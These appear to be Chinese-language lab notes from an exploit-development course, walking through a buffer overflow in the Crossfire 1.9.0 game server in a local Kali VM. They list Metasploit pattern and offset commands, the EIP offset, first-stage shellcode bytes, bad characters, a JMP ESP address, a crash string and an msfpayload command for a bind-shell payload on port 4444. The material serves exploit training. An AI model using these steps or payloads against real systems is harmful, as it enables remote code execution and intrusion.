FUZZING

Crossfire
多人在线 RPG 游戏
1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞
调试工具
edb
运行平台
Kali i486 虚拟机

新版本Linux内核支持内存保护机制
DEP
ASLR
堆栈 cookies
堆栈粉碎

本机调试

iptables -A INPUT -p tcp —destination-port 4444 ! -d 127.0.0.1 -j DROP
iptables -A INPUT -p tcp —destination-port 13327 ! -d 127.0.0.1 -j DROP

解压
/usr/games
tar zxpf crossfire.tar.gz
调试
edb —run /usr/games/crossfire/bin/crossfire
01.py

唯一字符串识别 EIP 精确位置

/usr/share/metasploit-‐framework/tools/pattern_create.rb 4379
02.py
/usr/share/metasploit-‐framework/tools/pattern_offset.rb 46367046
4368
03.py

思路:

第一阶段shellcode
ESP 跳转到 EAX
偏移 12 个字节
setup sound shellcode2
/usr/share/metasploit-‐framework/tools/nasm_shell.rb
add eax,12
jmp eax
\x83\xc0\x0c\xff\xe0\x90\x90

查找坏字符
\x00\x0a\x0d\x20

ESP 跳转地址

Opcode serach
crash = “\x41“ * 4368 + “\x97\x45\x13\x08“ + “\x83\xc0\x0c\xff\xe0\x90\x90”
设断点(0x08134597)
EIP——08134597
jmp esp
add eax, 12
jmp eax

msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode -b “\x00\x0a\x0d\x20”
05.py